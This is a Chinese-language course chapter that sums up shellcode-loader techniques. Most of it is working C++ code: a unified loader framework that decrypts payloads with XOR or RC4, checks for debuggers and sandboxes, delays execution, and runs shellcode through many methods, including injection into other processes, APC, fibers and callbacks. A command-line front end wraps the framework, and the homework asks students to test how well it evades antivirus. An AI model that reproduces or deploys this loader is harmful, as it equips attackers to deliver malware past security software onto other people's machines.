shellcode loader

15、阶段合集

1、课程目标

  1. 回顾和整合所有ShellCode Loader技术
  2. 构建统一的Loader框架
  3. 理解各种技术的适用场景
  4. 掌握组合使用多种技术的方法

2、知识回顾

2.1、ShellCode Loader技术分类

┌─────────────────────────────────────────────────────────────────┐
│                   ShellCode Loader 技术全览                      │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  基础执行方式                                                     │
│  ├─ 课时01: 内联汇编 (x86 only)                                  │
│  ├─ 课时02: 函数指针                                             │
│  └─ 课时03: CreateThread/CreateRemoteThread                     │
│                                                                  │
│  多语言实现                                                       │
│  ├─ 课时04: Golang                                               │
│  ├─ 课时05: C#                                                   │
│  └─ 课时06: Python                                               │
│                                                                  │
│  高级执行技术                                                     │
│  ├─ 课时07: 可执行堆                                             │
│  ├─ 课时08: APC注入                                              │
│  ├─ 课时09: 线程上下文劫持                                       │
│  ├─ 课时10: TLS回调                                              │
│  ├─ 课时11: VEH异常处理                                          │
│  ├─ 课时12: Fiber纤程                                            │
│  ├─ 课时13: SEH异常处理                                          │
│  └─ 课时14: 回调函数                                             │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

2.2、技术对比

技术 隐蔽性 复杂度 免杀效果 适用场景
函数指针 基础测试
CreateThread 简单执行
远程线程 进程注入
APC 隐蔽注入
线程上下文 无痕注入
TLS回调 预执行
VEH/SEH 异常触发
Fiber 轻量执行
回调函数 隐蔽调用

3、代码实现

1. 统一Loader框架

// unified_loader.hpp
// 统一ShellCode Loader框架

#pragma once
#include <windows.h>
#include <functional>
#include <memory>
#include <vector>
#include <string>

// 执行方法枚举
enum class LoadMethod {
    FunctionPointer,
    CreateThread,
    RemoteThread,
    APC,
    ThreadContext,
    TLS,
    VEH,
    SEH,
    Fiber,
    Callback,
    HeapExecute,
    NtCreateThreadEx
};

// 加密方法枚举
enum class EncryptMethod {
    None,
    XOR,
    RC4,
    AES
};

// 配置结构
struct LoaderConfig {
    LoadMethod method = LoadMethod::CreateThread;
    EncryptMethod encryption = EncryptMethod::None;
    std::vector<BYTE> key;
    bool antiDebug = false;
    bool sandboxCheck = false;
    DWORD delayMs = 0;
    DWORD targetPid = 0;  // 用于远程注入
};

class ShellcodeLoader {
private:
    std::vector<BYTE> m_shellcode;
    LoaderConfig m_config;
    LPVOID m_allocatedMem = nullptr;
    
public:
    ShellcodeLoader() = default;
    ~ShellcodeLoader() { Cleanup(); }
    
    // 加载ShellCode
    bool Load(const BYTE* data, size_t size) {
        m_shellcode.assign(data, data + size);
        return true;
    }
    
    bool LoadFromFile(const std::string& path) {
        HANDLE hFile = CreateFileA(path.c_str(), GENERIC_READ, 
            FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
        if (hFile == INVALID_HANDLE_VALUE) return false;
        
        DWORD size = GetFileSize(hFile, NULL);
        m_shellcode.resize(size);
        
        DWORD read;
        ReadFile(hFile, m_shellcode.data(), size, &read, NULL);
        CloseHandle(hFile);
        
        return read == size;
    }
    
    // 配置
    void SetConfig(const LoaderConfig& config) {
        m_config = config;
    }
    
    // 解密
    bool Decrypt() {
        if (m_config.encryption == EncryptMethod::None) return true;
        
        switch (m_config.encryption) {
            case EncryptMethod::XOR:
                return DecryptXOR();
            case EncryptMethod::RC4:
                return DecryptRC4();
            case EncryptMethod::AES:
                return DecryptAES();
            default:
                return false;
        }
    }
    
    // 执行
    bool Execute() {
        // 前置检查
        if (m_config.antiDebug && IsDebuggerPresent()) {
            return false;
        }
        
        if (m_config.sandboxCheck && IsSandbox()) {
            return false;
        }
        
        if (m_config.delayMs > 0) {
            Sleep(m_config.delayMs);
        }
        
        // 解密
        if (!Decrypt()) return false;
        
        // 执行
        switch (m_config.method) {
            case LoadMethod::FunctionPointer:
                return ExecuteFunctionPointer();
            case LoadMethod::CreateThread:
                return ExecuteCreateThread();
            case LoadMethod::RemoteThread:
                return ExecuteRemoteThread();
            case LoadMethod::APC:
                return ExecuteAPC();
            case LoadMethod::Fiber:
                return ExecuteFiber();
            case LoadMethod::Callback:
                return ExecuteCallback();
            case LoadMethod::HeapExecute:
                return ExecuteHeap();
            default:
                return ExecuteCreateThread();
        }
    }
    
private:
    // 解密方法
    bool DecryptXOR() {
        if (m_config.key.empty()) return false;
        for (size_t i = 0; i < m_shellcode.size(); i++) {
            m_shellcode[i] ^= m_config.key[i % m_config.key.size()];
        }
        return true;
    }
    
    bool DecryptRC4() {
        // RC4实现
        if (m_config.key.empty()) return false;
        
        BYTE S[256];
        for (int i = 0; i < 256; i++) S[i] = i;
        
        int j = 0;
        for (int i = 0; i < 256; i++) {
            j = (j + S[i] + m_config.key[i % m_config.key.size()]) & 0xFF;
            std::swap(S[i], S[j]);
        }
        
        int i = 0; j = 0;
        for (size_t k = 0; k < m_shellcode.size(); k++) {
            i = (i + 1) & 0xFF;
            j = (j + S[i]) & 0xFF;
            std::swap(S[i], S[j]);
            m_shellcode[k] ^= S[(S[i] + S[j]) & 0xFF];
        }
        
        return true;
    }
    
    bool DecryptAES() {
        // 需要外部库支持
        return false;
    }
    
    // 执行方法
    bool AllocateMemory() {
        m_allocatedMem = VirtualAlloc(NULL, m_shellcode.size(),
            MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (!m_allocatedMem) return false;
        
        memcpy(m_allocatedMem, m_shellcode.data(), m_shellcode.size());
        
        DWORD oldProtect;
        VirtualProtect(m_allocatedMem, m_shellcode.size(), 
            PAGE_EXECUTE_READ, &oldProtect);
        
        return true;
    }
    
    bool ExecuteFunctionPointer() {
        if (!AllocateMemory()) return false;
        
        typedef void (*SC_FUNC)();
        SC_FUNC func = (SC_FUNC)m_allocatedMem;
        func();
        
        return true;
    }
    
    bool ExecuteCreateThread() {
        if (!AllocateMemory()) return false;
        
        HANDLE hThread = CreateThread(NULL, 0,
            (LPTHREAD_START_ROUTINE)m_allocatedMem, NULL, 0, NULL);
        
        if (!hThread) return false;
        
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
        
        return true;
    }
    
    bool ExecuteRemoteThread() {
        if (m_config.targetPid == 0) return false;
        
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, m_config.targetPid);
        if (!hProcess) return false;
        
        LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, m_shellcode.size(),
            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        
        if (!remoteMem) {
            CloseHandle(hProcess);
            return false;
        }
        
        SIZE_T written;
        WriteProcessMemory(hProcess, remoteMem, m_shellcode.data(), 
            m_shellcode.size(), &written);
        
        HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
            (LPTHREAD_START_ROUTINE)remoteMem, NULL, 0, NULL);
        
        if (hThread) {
            WaitForSingleObject(hThread, INFINITE);
            CloseHandle(hThread);
        }
        
        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        
        return hThread != NULL;
    }
    
    bool ExecuteAPC() {
        if (!AllocateMemory()) return false;
        
        HANDLE hThread = GetCurrentThread();
        QueueUserAPC((PAPCFUNC)m_allocatedMem, hThread, 0);
        SleepEx(0, TRUE);
        
        return true;
    }
    
    bool ExecuteFiber() {
        if (!AllocateMemory()) return false;
        
        LPVOID mainFiber = ConvertThreadToFiber(NULL);
        if (!mainFiber) return false;
        
        LPVOID scFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)m_allocatedMem, NULL);
        if (!scFiber) {
            ConvertFiberToThread();
            return false;
        }
        
        SwitchToFiber(scFiber);
        
        DeleteFiber(scFiber);
        ConvertFiberToThread();
        
        return true;
    }
    
    bool ExecuteCallback() {
        if (!AllocateMemory()) return false;
        
        EnumSystemLocalesA((LOCALE_ENUMPROCA)m_allocatedMem, LCID_INSTALLED);
        
        return true;
    }
    
    bool ExecuteHeap() {
        HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
        if (!hHeap) return false;
        
        LPVOID mem = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, m_shellcode.size());
        if (!mem) {
            HeapDestroy(hHeap);
            return false;
        }
        
        memcpy(mem, m_shellcode.data(), m_shellcode.size());
        
        typedef void (*SC_FUNC)();
        ((SC_FUNC)mem)();
        
        HeapFree(hHeap, 0, mem);
        HeapDestroy(hHeap);
        
        return true;
    }
    
    // 检测方法
    bool IsSandbox() {
        // 简单的沙箱检测
        SYSTEM_INFO si;
        GetSystemInfo(&si);
        if (si.dwNumberOfProcessors < 2) return true;
        
        MEMORYSTATUSEX ms;
        ms.dwLength = sizeof(ms);
        GlobalMemoryStatusEx(&ms);
        if (ms.ullTotalPhys < 2ULL * 1024 * 1024 * 1024) return true;
        
        return false;
    }
    
    void Cleanup() {
        if (m_allocatedMem) {
            VirtualFree(m_allocatedMem, 0, MEM_RELEASE);
            m_allocatedMem = nullptr;
        }
    }
};

2. 使用示例

// main.cpp
// 统一Loader使用示例

#include <iostream>
#include "unified_loader.hpp"

int main(int argc, char* argv[]) {
    std::cout << "========================================" << std::endl;
    std::cout << "     Unified ShellCode Loader          " << std::endl;
    std::cout << "========================================" << std::endl;
    
    // 测试ShellCode
    BYTE shellcode[] = { 0x90, 0x90, 0x31, 0xC0, 0x40, 0xC3 };
    
    ShellcodeLoader loader;
    
    // 加载ShellCode
    loader.Load(shellcode, sizeof(shellcode));
    
    // 配置
    LoaderConfig config;
    config.method = LoadMethod::Callback;
    config.antiDebug = true;
    config.sandboxCheck = true;
    config.delayMs = 1000;
    
    loader.SetConfig(config);
    
    // 执行
    std::cout << "[*] Executing shellcode..." << std::endl;
    
    if (loader.Execute()) {
        std::cout << "[+] Execution successful" << std::endl;
    } else {
        std::cout << "[-] Execution failed" << std::endl;
    }
    
    return 0;
}

3. 命令行工具

// loader_cli.cpp
// 命令行Loader工具

#include <iostream>
#include <string>
#include "unified_loader.hpp"

void PrintUsage(const char* name) {
    std::cout << "Usage: " << name << " [options] <shellcode.bin>" << std::endl;
    std::cout << "Options:" << std::endl;
    std::cout << "  -m <method>    Execution method (thread, apc, fiber, callback, heap)" << std::endl;
    std::cout << "  -e <type>      Encryption (none, xor, rc4)" << std::endl;
    std::cout << "  -k <key>       Encryption key (hex)" << std::endl;
    std::cout << "  -d <ms>        Delay in milliseconds" << std::endl;
    std::cout << "  -p <pid>       Target PID for remote injection" << std::endl;
    std::cout << "  --anti-debug   Enable anti-debug checks" << std::endl;
    std::cout << "  --sandbox      Enable sandbox detection" << std::endl;
}

LoadMethod ParseMethod(const std::string& s) {
    if (s == "thread") return LoadMethod::CreateThread;
    if (s == "apc") return LoadMethod::APC;
    if (s == "fiber") return LoadMethod::Fiber;
    if (s == "callback") return LoadMethod::Callback;
    if (s == "heap") return LoadMethod::HeapExecute;
    if (s == "remote") return LoadMethod::RemoteThread;
    return LoadMethod::CreateThread;
}

int main(int argc, char* argv[]) {
    if (argc < 2) {
        PrintUsage(argv[0]);
        return 1;
    }
    
    LoaderConfig config;
    std::string filename;
    
    for (int i = 1; i < argc; i++) {
        std::string arg = argv[i];
        
        if (arg == "-m" && i + 1 < argc) {
            config.method = ParseMethod(argv[++i]);
        } else if (arg == "-d" && i + 1 < argc) {
            config.delayMs = std::stoi(argv[++i]);
        } else if (arg == "-p" && i + 1 < argc) {
            config.targetPid = std::stoi(argv[++i]);
        } else if (arg == "--anti-debug") {
            config.antiDebug = true;
        } else if (arg == "--sandbox") {
            config.sandboxCheck = true;
        } else if (arg[0] != '-') {
            filename = arg;
        }
    }
    
    if (filename.empty()) {
        std::cerr << "[-] No shellcode file specified" << std::endl;
        return 1;
    }
    
    ShellcodeLoader loader;
    
    if (!loader.LoadFromFile(filename)) {
        std::cerr << "[-] Failed to load: " << filename << std::endl;
        return 1;
    }
    
    std::cout << "[+] Loaded shellcode from: " << filename << std::endl;
    
    loader.SetConfig(config);
    
    if (loader.Execute()) {
        std::cout << "[+] Execution completed" << std::endl;
    } else {
        std::cerr << "[-] Execution failed" << std::endl;
        return 1;
    }
    
    return 0;
}

4、章节总结

本章系统学习了ShellCode Loader的各种技术:

  1. 基础技术:函数指针、内联汇编、线程执行
  2. 多语言实现:Go、C#、Python各有特点
  3. 高级技术:APC、线程上下文、TLS、异常处理、Fiber、回调
  4. 实战应用:统一框架、加密解密、反检测

选择合适的Loader技术需要考虑:

  • 目标环境的安全软件
  • 执行场景(本地/远程)
  • 隐蔽性要求
  • 开发难度

后续课程将学习更多注入技术和免杀方法。

5、课后作业

5.1、作业1:扩展框架

为统一框架添加更多执行方法和加密算法。

5.2、作业2:组合技术

实现多种技术的组合使用(如加密+延迟+回调)。

5.3、作业3:免杀测试

测试不同方法对主流杀软的免杀效果。